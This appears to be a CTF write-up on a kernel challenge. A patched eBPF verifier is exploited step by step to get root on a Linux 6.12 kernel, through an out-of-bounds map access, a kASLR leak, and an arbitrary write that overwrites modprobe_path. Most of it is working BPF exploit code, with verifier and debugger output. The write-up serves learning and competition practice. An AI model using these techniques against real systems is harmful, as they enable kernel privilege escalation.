scufFed

UofTCTF 2026

4012 words | 19 minutes

The year is 2026.

OpenAI’s Codex is able to process 10k LOC wasm2wat output for 35 minutes without hallucinating through hell and back and vomits out a flag for a reverse engineering challenge. Google Gemini is able to find an obscure blog post from 2021 that outlines the exact exploit I’m looking for which regular Google won’t properly index because… that’s just how it is now. Claude Code is preheating the oven for me to put my head in it when it successfully solves an EVM challenge by staring at the raw bytes.

But yet, we cringe on.

Given that reverse engineering challenges are getting progressively oneshottable (well, uncreative reverse engineering challenges, that is), perhaps this is the year that we (as in me, and the voices in my head) revisit pwn.

For this year’s UofTCTF, there isn’t much point in me writing up the rev challenges as they were… trivial. In brief:

So that’s about it for rev.

Instead, let’s look at pwn!

Binary Exploitation

extended-eBPF

So, if this blog is to be believed, I have not done a single kernel pwn challenge in an international CTF before. I’m a little out of my element here, but whatever. This is all new to me!

This writeup will be a little cursed, attributable to:

So rather than a straight to the point “yeah, this is the solve”, let’s go on a journey together.

Initial Scoping

We’re given a few files to work with. We’ve got the “standard” affair, namely start-qemu.sh, bzImage and initramfs.cpio.gz. The actual challenge is contained within chall.patch:

 1diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
 2index 24ae8f33e5d7..e5641845ecc0 100644
 3--- a/kernel/bpf/verifier.c
 4+++ b/kernel/bpf/verifier.c
 5@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
 6 static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
 7 				    const struct bpf_insn *insn)
 8 {
 9-	return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
10+	return true;
11 }
12 
13 static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
14@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
15 	case BPF_LSH:
16 	case BPF_RSH:
17 	case BPF_ARSH:
18-		return (src_is_const && src_reg->umax_value < insn_bitness);
19+		return (src_reg->umax_value < insn_bitness);
20 	default:
21 		return false;
22 	}

Running strings on bzImage, we know we have an image with kernel version 6.12.47, so let’s pull up a copy of bpf/verifier.c from bootlin to take a look.

The first patch is straightforward. There’s a function called can_skip_alu_sanitation and we’re just bypassing its logic altogether. A Google search for the function gets us this pwn2own whitepaper, which mentions:

ALU Sanitation bypass

As described in the URl below, there’s a mitigation logic called “ALU sanitation”.

https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification

This will be added if there’s any addition or subtraction to map pointer.

It avoids inserting ALU sanitation instructions because the return value of can_skip_alu_sanitation() will be true.

This brings us to a writeup for CVE-2020-8835, which we will come back to later. For now, we keep in mind that such a mitigation exists, and we have a free pass on it through this patch.

Let’s look at the second part of the patch. The next function affected is is_safe_to_compute_dst_reg_range, where we remove the check on src_is_const. Going up before the shift operations, we see this chunk of code defining src_is_const:

 1bool src_is_const = false;
 2u64 insn_bitness = (BPF_CLASS(insn->code) == BPF_ALU64) ? 64 : 32;
 3
 4if (insn_bitness == 32) {
 5    if (tnum_subreg_is_const(src_reg->var_off)
 6        && src_reg->s32_min_value == src_reg->s32_max_value
 7        && src_reg->u32_min_value == src_reg->u32_max_value)
 8        src_is_const = true;
 9} else {
10    if (tnum_is_const(src_reg->var_off)
11        && src_reg->smin_value == src_reg->smax_value
12        && src_reg->umin_value == src_reg->umax_value)
13        src_is_const = true;
14}

It checks whether a src_reg has matching smin and smax, umin and umax values. We still don’t really know what we’re looking at, but at least this sort of logic is consistent with what we’re familiar with. We just keep in mind that when performing shift operations that we now are able to use “source values that may not be constant”.

Okay, cool. Now let’s address the elephant in the room: what the heck is eBPF?

The extended Berkeley Packet Filter

The Berkeley Packet Filter (BPF), as described by Wikipedia dot org, “permits computer network packets to be captured and filtered at the operating system level” and “allows a userspace process to supply a filter program that specifies which packets it wants to receive.”. We’re looking at the extended version, on top of that, which is what people usually refer to when they say BPF nowadays anyways.

There’s a great resource in the BPF Reference Guide which describes the BPF architecture, but the opening paragraphs tell us what we need to know:

BPF is a highly flexible and efficient virtual machine-like construct in the Linux kernel allowing to execute bytecode at various hook points in a safe manner. It is used in a number of Linux kernel subsystems, most prominently networking, tracing and security (e.g. sandboxing).
...
Even though the name Berkeley Packet Filter hints at a packet filtering specific purpose, the instruction set is generic and flexible enough these days that there are many use cases for BPF apart from networking. See Further Reading for a list of projects which use BPF.

In brief, what eBPF provides us is a VM within the kernel with its own ISA that we can interact with through a userland program. We can construct eBPF programs with this bytecode and hand it off to the kernel, which presents a clear exploitation surface. As such, eBPF programs are subject to verification (the very file we’re patching for this challenge!).

The eBPF Verifier

To make sure there’s no tomfoolery afoot, eBPF programs are passed through verification steps that will simulate the flow of every instruction, observing register and stack values to make sure no boundaries are being violated. There’s plenty of details that you can read here.

What’s relevant to us is the point on range tracking. To avoid OOB access, the minimum and maximum signed and unsigned values of the registers in the eBPF VM are tracked, which is what we saw earlier in the logic for src_is_const.

Since the patches were applied to the verifier, we now have to think about what primitive we’ve been handed through them — what part of the verifier has been broken?

Violating Range Tracking

While solving this challenge, I read a bunch of other eBPF writeups and the main primitive everyone seems to conjure is there being a discrepancy in some value that the verifier produces and what it actually is during runtime.

We see this in the writeups for D3CTF 2022 here and here, we see this in the aforementioned CVE-2020-8835 writeup, also in CVE-2022-23222, and CVE-2021-3490. Oh, and for DUCTF 2025. And aliyunCTF 2025.

So why is this so useful? Recall that range tracking is a mechanism to prevent OOB access. However, if we are somehow able to produce a register that the verifier assumes holds the value 0, but in reality holds the value 1, when we calculate addresses using that register, we can get ourselves OOB access!

Furthermore, we’re given a free pass on ALU Mitigation. Usually, the verifier would impose a limit on the offset you can apply to some pointer to prevent OOB access. In actuality, our fake zero register should be able to bypass this mitigation as well since the calculated offsets shouldn’t ever exceed the alu_limit since, well, it’s just math with zero. However, we don’t even need to worry about that.

The question now is how will we trigger such a bug with the weird src_is_const bypass we’ve been given.

Well, let’s bring in a non-constant value and muck around with it!

The src_is_const Bug

We’re able to pass data through userspace to kernelspace and vice versa using eBPF maps, which are either arrays or hash-tables. There are restrictions on what values we can pass through (e.g. if you get the reference to the map in the kernel, load it into a register and make the first element of said map its own address, the verifier will stop you), but for the most part we’re given a free and easy way to interact with our eBPF program through these maps. Obviously, the aforementioned range tracking applies to maps as well.

The verifier won’t let us use a user supplied value from a map to use as a pointer offset as that’s inherently dangerous, so only once we turn it into a scalar value with a known range can we use it as an offset. This can be done by applying some arithmetic operations to it, say, AND 1, which will restrict it to a scalar in the range [0,1].

This is where our bug comes in!

A user supplied value may not be a constant value (duh), but we are still free to use it in bit shifting operations thanks to our patch. Consider the following:

Let’s copy some code from here so that we can play around with this. This gives us the scaffolding to setup the BPF program and interact with the BPF maps.

 1int main(){
 2
 3    oob_map_fd = bpf_map_create(4, 0x150, 1);
 4
 5    if(oob_map_fd < 0){
 6        printf("bomb!!!\n");
 7        perror("create_map");
 8        return 1;
 9    }
10
11    uint64_t value = 0xDEADBEEFCAFEBABF; // set val and help with struct inspection
12    bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
13
14    struct bpf_insn bugging[] = {
15        // load pointer to oob_map_fd map into R1
16        BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
17        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
18        BPF_MOV64_IMM(BPF_REG_0, 0),
19        
20        // write 0 to [rsp-4]
21        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
22        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
23        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
24
25        // pull value from map
26        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
27        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
28        BPF_EXIT_INSN(), 
29
30        BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
31
32        // we should get 1, because that is what we wrote to that slot
33        BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
34        BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
35        BPF_MOV64_IMM(BPF_REG_8, 1),
36        BPF_ALU64_REG(BPF_LSH, BPF_REG_8, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
37        BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
38        
39        // now BPF_REG_8 should be carrying 1, but the verifier thinks its carrying 0
40        BPF_MOV64_REG(BPF_REG_0, BPF_REG_8),   
41        
42        // clear reg0 so it doesn't bitch
43        BPF_MOV64_IMM(BPF_REG_0, 0),
44        BPF_EXIT_INSN()
45    };
46
47    run_bpf_prog(bugging, sizeof(bugging)/sizeof(bugging[0]));
48}

The scaffolding we copy runs the BPF program with logging level of 2, which will give us verifier output:

func#0 @0
0: R1=ctx() R10=fp0
0: (18) r1 = 0x0                      ; R1_w=map_ptr(ks=4,vs=336)
2: (bf) r2 = r10                      ; R2_w=fp0 R10=fp0
3: (b7) r0 = 0                        ; R0_w=P0
4: (63) *(u32 *)(r10 -4) = r0         ; R0_w=P0 R10=fp0 fp-8=0000????
5: (bf) r2 = r10                      ; R2_w=fp0 R10=fp0
6: (07) r2 += -4                      ; R2_w=fp-4
7: (85) call bpf_map_lookup_elem#1    ; R0_w=map_value_or_null(id=1,ks=4,vs=336)
8: (55) if r0 != 0x0 goto pc+1        ; R0_w=P0
9: (95) exit

from 8 to 10: R0=map_value(ks=4,vs=336) R10=fp0 fp-8=mmmm????
10: R0=map_value(ks=4,vs=336) R10=fp0 fp-8=mmmm????
10: (bf) r7 = r0                      ; R0=map_value(ks=4,vs=336) R7_w=map_value(ks=4,vs=336)
11: (79) r4 = *(u64 *)(r0 +0)         ; R0=map_value(ks=4,vs=336) R4_w=Pscalar()
12: (57) r4 &= 1                      ; R4_w=Pscalar(smin=smin32=0,smax=umax=smax32=umax32=1,var_off=(0x0; 0x1))
13: (b7) r8 = 1                       ; R8_w=P1
14: (6f) r8 <<= r4                    ; R4_w=Pscalar(smin=smin32=0,smax=umax=smax32=umax32=1,var_off=(0x0; 0x1)) R8_w=P1
15: (17) r8 -= 1                      ; R8_w=P0
16: (bf) r0 = r8                      ; R0_w=P0 R8_w=P0
17: (b7) r0 = 0                       ; R0_w=P0
18: (95) exit

Notice on line 14, we have R4 which possesses a non-constant scalar value thanks to the patch and our own mucking around, and when applying it as a LSH to R8, it calculates R8 to be 1 despite it possibly being 2. This is thanks to the logic implemented in scalar_min_max_lsh in verifier.c, where the assumption seemingly takes place.

So we manage to get our primitive! Nice. Now, onto the rest of the exploit.

Leaking kbase

Similar to userspace programs, the kernel also has ASLR in the form of… kASLR. This may be my first time doing a kernel challenge, but this isn’t hard to grasp. In a similar vein, we probably have to find some sort of offset that we can work with using our OOB access, then leak that value.

In the existing writeups, they speak of leaking the bpf_map_op *ops struct address, which is apparently 0x110 bytes away from the first map element. Let’s add that to our exploit:

 1    ... 
 2        // at this point, we have just moved the value of REG_8 to REG_0
 3
 4        BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0x110), 
 5        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
 6        // now BPF_REG_7 should (should) be carrying map_ptr + 0x0, which is a ptr to array_map_ops
 7        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),
 8        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x110),
 9        // write array_map_ops ptr to map_ptr + 0x110
10        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
11
12        // clear reg0 so it doesn't bitch
13        BPF_MOV64_IMM(BPF_REG_0, 0),
14        BPF_EXIT_INSN()
15    };
16
17    run_bpf_prog(bugging, sizeof(bugging)/sizeof(bugging[0]));
18    uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
19    printf("array_map_ops: %p\n", array_map_ops);
20}

Blindly doing this, we do not get a leak.

...
19: (79) r6 = *(u64 *)(r7 +0)         ; R6_w=Pscalar() R7_w=map_value(ks=4,vs=336)
20: (07) r7 += 272                    ; R7_w=map_value(ks=4,vs=336,off=272)
21: (7b) *(u64 *)(r7 +0) = r6         ; R6_w=Pscalar() R7_w=map_value(ks=4,vs=336,off=272)
22: (b7) r0 = 0                       ; R0_w=P0
23: (95) exit
processed 23 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1

array_map_ops: 0
$ 

Aw shucks.

Maybe the struct layout has changed. But we’re reverse engineers, why don’t we just figure out the new offset by eyeballing some structs?

Our plan is simple: somehow get ahold of the address in kernelspace of the map that we create, then look around from a known value (in this case, we are writing 0xDEADBEEFCAFEBABF, so we can use that as our “marker”) until we see a useful leak.

So what can we break on? Well, we perform bpf_map_update_elem to write the aforementioned value to the first slot of the map, which must trigger some kernel function, which in this case is array_map_update_elem, of which the first argument when called will be the address of the map struct.

How do we get the address of array_map_update_elem? Well, I don’t seem to have symbols to work with, using extract-vmlinux nor vmlinux-to-elf seemed to help, so we do it the old-school nonsense method.

Let’s get our addresses first:

~ # grep "\<_text\>" /proc/kallsyms
ffffffff94e00000 T _text
~ # grep array_map_update_elem /proc/kallsyms
ffffffff94fd5750 t __pfx_array_map_update_elem
ffffffff94fd5760 t array_map_update_elem
ffffffff94fd63c0 T __pfx_bpf_fd_array_map_update_elem
ffffffff94fd63d0 T bpf_fd_array_map_update_elem

And now, we can debug. Doing this, even while supplying the exploit and vmlinux, gef is still bugging out, but not so badly that we can’t get what we want done:

Breakpoint 1, 0xffffffff94fd5760 in ?? ()
[!] Command 'context' failed to execute properly, reason: buffer overflow
(remote) gef➤  i r rdi
rdi            0xffff9dcb021b4400  0xffff9dcb021b4400
(remote) gef➤  c
Continuing.

Breakpoint 2, 0x000000000040146b in bpf_map_lookup_elem ()
[!] Command 'context' failed to execute properly, reason: buffer overflow
(remote) gef➤  x/80gx 0xffff9dcb021b4400
0xffff9dcb021b4400:     0xffffffff95a1d9a0      0x0000000000000000
0xffff9dcb021b4410:     0x0000000400000002      0x0000000100000150
0xffff9dcb021b4420:     0x0000000000000000      0x0000000100000000
0xffff9dcb021b4430:     0x0000000000000000      0x00000000ffffffff
0xffff9dcb021b4440:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b4450:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b4460:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b4470:     0xffff9dcb021b4470      0xffff9dcb021b4470
0xffff9dcb021b4480:     0x0000000000000002      0x0000000000000001
0xffff9dcb021b4490:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b44a0:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b44b0:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b44c0:     0x0000000000000000      0x0000000000000001
0xffff9dcb021b44d0:     0x0000000000000000      0x0000000000000000
0xffff9dcb021b44e0:     0x0000000000000001      0x0000000000000150
0xffff9dcb021b44f0:     0x0000000000000000      0xdeadbeefcafebabf
...

Nice! So we can see that the offset from our first element to the starting address of the map is actually 0xF8 rather than 0x110. Furthermore, this starting address provides us with a consistent leak, so we can use that to get our kbase. Our exploit now looks like this:

 1int main(){
 2
 3    oob_map_fd = bpf_map_create(4, 0x150, 1);
 4
 5    if(oob_map_fd < 0){
 6        printf("bomb!!!\n");
 7        perror("create_map");
 8        return 1;
 9    }
10
11    uint64_t value = 0xDEADBEEFCAFEBABF; // set val and help with struct inspection
12    bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
13
14    struct bpf_insn kbase_leak[] = {
15        // this part is copied from chompie
16        // load pointer to oob_map_fd map into R1
17        BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
18        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
19        BPF_MOV64_IMM(BPF_REG_0, 0),
20        
21        // write 0 to [rsp-4]
22        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
23        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
24        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
25
26        // pull value from map
27        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
28        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
29        BPF_EXIT_INSN(), 
30
31        // store &oob_map[0] in BPF_REG_7, but actually its oob_map_ptr + 0xf8 
32        // that's the offset of .values in bpf_array
33        BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
34
35        // we should get 1, because that is what we wrote to that slot
36        BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
37        BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
38        BPF_MOV64_IMM(BPF_REG_8, 1),
39        BPF_ALU64_REG(BPF_LSH, BPF_REG_8, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
40        BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
41        
42        // now BPF_REG_8 should be carrying 1, but the verifier thinks its carrying 0
43        BPF_MOV64_REG(BPF_REG_0, BPF_REG_8),   
44        BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0xF8), // fucked up weird ahh offset manually derived   
45        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
46        // now BPF_REG_7 should (should) be carrying map_ptr + 0x0, which is a ptr to array_map_ops
47        // we load that into BPF_REG_6
48        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),
49        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xF8),
50        // write array_map_ops ptr to map_ptr + 0xf8
51        BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
52        // clear reg0 so it doesn't bitch
53        BPF_MOV64_IMM(BPF_REG_0, 0),
54        BPF_EXIT_INSN()
55    };
56
57    run_bpf_prog(kbase_leak, sizeof(kbase_leak)/sizeof(kbase_leak[0]));
58    uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
59    printf("array_map_ops: %p\n", array_map_ops);
60    // now we can calculate kbase from our fixed offset
61    uint64_t kbase = array_map_ops - 0xc1d9a0;
62    printf("kbase: %p\n", kbase);
63}

Upgrading to Arbritrary Write

We have a nice OOB primitive now, but we want this to be upgraded into a Write-What-Where so that we can… do something. Let’s pick a thing to do. We’ve got options, be it modprobe_path, the cred struct, ROP chaining (A good reference!. When I first learnt pwn, I was always frustrated with how sparse resources were on what to do with your arb-R/Ws. Bless these resources.)…

I decided to go with a modprobe_path overwrite for a few reasons:

We can look for our offset to /sbin/modprobe by just using good ol’ search-pattern, which gives us an offset of +0x10be1e0 from our kbase.

Okay, back to upgrading our OOB.

Lots of the writeups rely on faking a bpf_map_ops struct or the array_map_ops table, but lots of newer writeups rely on the bpf_skb_load_bytes function. In essence, it lets you load values from a packet onto the stack, starting from some offset. In eBPF programs, we do have to manage the stack “manually” since there is no real conception of a PUSH or POP, instead just directly writing to offsets from the stack register (which is BPF_REG_10).

The plan is to first push a “safe” value onto the stack i.e. a map pointer, then when we call bpf_skb_load_bytes, using our fake zero register, we lead to a miscalculation of the stack offset to produce an overlap between the safe value and a value we control from the packet, giving us a pointer that we now have full control and use over. This is the technique used in the CVE-2022-23222 PoC.

It’s really clean!

 1void run_bpf_prog_w_vals(struct bpf_insn *insns, uint insncnt, const void *data, size_t size){
 2    setup_bpf_prog(insns, insncnt);
 3    if(write(socks[1], data, size) < 0) {
 4        printf("Something wrong with the write!\n");
 5        exit(1);
 6    }
 7    close(socks[0]);
 8    close(socks[1]);
 9    socks[0] = -1;
10}
11
12int main(){
13    ...
14    // we have our kbase leak and modprobe address calculated by now
15    oob_map_fd = bpf_map_create(4, 0x150, 1);
16    bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
17
18    struct bpf_insn arb_write[] = {
19        // save ctx
20        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
21
22        // same setup from earlier
23        BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
24        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
25        BPF_MOV64_IMM(BPF_REG_0, 0),
26        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
27        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
28        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
29        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
30        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
31        BPF_EXIT_INSN(), 
32        
33        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
34
35        BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
36        BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
37        BPF_MOV64_IMM(BPF_REG_1, 1),
38        BPF_ALU64_REG(BPF_LSH, BPF_REG_1, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
39        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
40        
41        // now BPF_REG_1 should be carrying 1, but the verifier thinks its carrying 0
42        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
43        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
44        BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
45        // store the array pointer
46        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
47
48        // overwrite array pointer on stack
49        // we use BPF_FUNC_skb_load_bytes instead of the relative version because its cleaner
50        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), // ctx
51        BPF_MOV64_IMM(BPF_REG_2, 0),
52        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
53        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
54        BPF_MOV64_REG(BPF_REG_4, BPF_REG_7), // verifier 8, but actually 16
55        BPF_MOV64_IMM(BPF_REG_5, 0),
56        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
57
58        // the address we want to write to will be in here!
59        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
60
61        // since we know what we want to write and that its 64bit we just hardcode here
62        BPF_MOV64_IMM(BPF_REG_0, 0),
63        BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
64        BPF_MOV64_IMM(BPF_REG_0, 0x706d742f), // "/tmp"
65        BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
66        BPF_MOV64_IMM(BPF_REG_0, 0x782f), // "/x"
67        BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_0, 4),
68        
69        // clear reg0 so it doesn't bitch
70        BPF_MOV64_IMM(BPF_REG_0, 0),
71        BPF_EXIT_INSN()
72    };
73
74    *(uint64_t *)(trigger_buf + 8) = modprobe;
75    run_bpf_prog_w_vals(arb_write, sizeof(arb_write)/sizeof(arb_write[0]), trigger_buf, 0x100);
76}

We overwrite "/sbin/modprobe" with "/tmp/x" for our final stage of the exploit, and now we just trigger it with our copied code to get root!

The final exploit can be read here, with headers stolen from here.

Flag: uoftctf{n0n_c0ns74n7_shif7_is_700_big_0f_4n_3x73nsi0n}